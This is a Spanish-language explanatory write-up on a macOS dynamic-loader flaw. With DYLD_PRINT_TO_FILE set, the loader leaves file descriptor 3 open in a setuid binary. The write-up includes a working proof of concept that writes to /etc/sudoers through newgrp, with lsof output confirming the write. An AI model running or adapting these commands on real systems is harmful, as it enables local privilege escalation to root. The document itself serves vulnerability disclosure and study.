Análisis
Al configurar:
DYLD_PRINT_TO_FILE=/tmp/log some_command
el cargador dinámico de MacOS X abrirá /tmp/log
como un archivo de registro, es decir, con acceso adicional a posibles problemas de depuración dentro del cargador dinámico. Este archivo está abierto con el primer descriptor de archivo libre en el contexto de llamada de shell que es 3.
De ahí que las asociaciones de descriptores de archivos sean:
0 → stdin
1 → stdout
2 → stderr
3 → /tmp/log
y dentro de este contexto, el proceso some_command
está bifurcado.
Desafortunadamente, el cargador dinámico no se cierra 3. Por lo tanto, el proceso some_command
se está ejecutando con un archivo abierto que nunca tuvo que abrir y nunca pasó por el control de acceso normal del sistema de archivos. Este puede ser un archivo al que some_command
no debería tener acceso si normalmente intenta abrirlo.
Ejemplo
Por ejemplo, aunque newgrp
es un binario setuid que no puede escribir en archivos protegidos correctamente:
$ newgrp
$ echo '#comment' >&3
zsh: 3: bad file descriptor
este error es normal, la shell bifurcada por newgrp
no tiene un descriptor de archivo
3 abierto, ya que lsof
permite verlo claramente (mire la columna FD para el 3):
$ lsof -p $$
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
[...]
zsh 2405 bob 0u CHR 16,3 0t28 1405 /dev/ttys003
zsh 2405 bob 1u CHR 16,3 0t28 1405 /dev/ttys003
zsh 2405 bob 2u CHR 16,3 0t28 1405 /dev/ttys003
zsh 2405 bob 5 (revoked)
[...]
Pero debido a la falta de cierre 3 en el cargador dinámico:
$ DYLD_PRINT_TO_FILE=/etc/sudoers newgrp
$ echo '#comment' >&3
$
cuidado: aquí la ausencia del mensaje de error significa que el echo
trabajó.
y además lsof
muestra el agujero (línea 3w, que significa descriptor de archivo 3
abierto con acceso de escritura):
$ lsof -p $$
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
[...]
zsh 2430 bob 0u CHR 16,3 0t1024 1405 /dev/ttys003
zsh 2430 bob 1u CHR 16,3 0t1024 1405 /dev/ttys003
zsh 2430 bob 2u CHR 16,3 0t1024 1405 /dev/ttys003
zsh 2430 bob 3w REG 1,7 1293 2034681610 /private/etc/sudoers
zsh 2430 bob 5 (revoked)
[...]
permitirá que newgrp
escriba en el archivo /etc/sudoers
donde nunca debería haber ocurrido.
Advertencia
Si prueba este ejemplo, no olvide limpiar su /etc/sudoers
después,
incluso si este ejemplo es inofensivo.
Su última línea contiene ahora #comment
.